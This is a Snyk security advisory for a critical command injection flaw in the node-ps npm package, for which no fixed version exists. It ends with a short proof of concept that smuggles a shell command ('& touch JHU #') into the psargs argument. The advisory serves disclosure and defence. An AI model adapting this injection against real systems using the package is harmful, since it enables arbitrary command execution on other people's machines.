Command Injection Affecting node-ps package, versions *


0.0
critical

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-NODEPS-1048335
  • published 9 Feb 2021
  • disclosed 4 Dec 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for node-ps.

Overview

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 72 in lib/index.js.

PoC

var a =require("node-ps");
a.lookup({psargs:["& touch JHU #"]},function(){})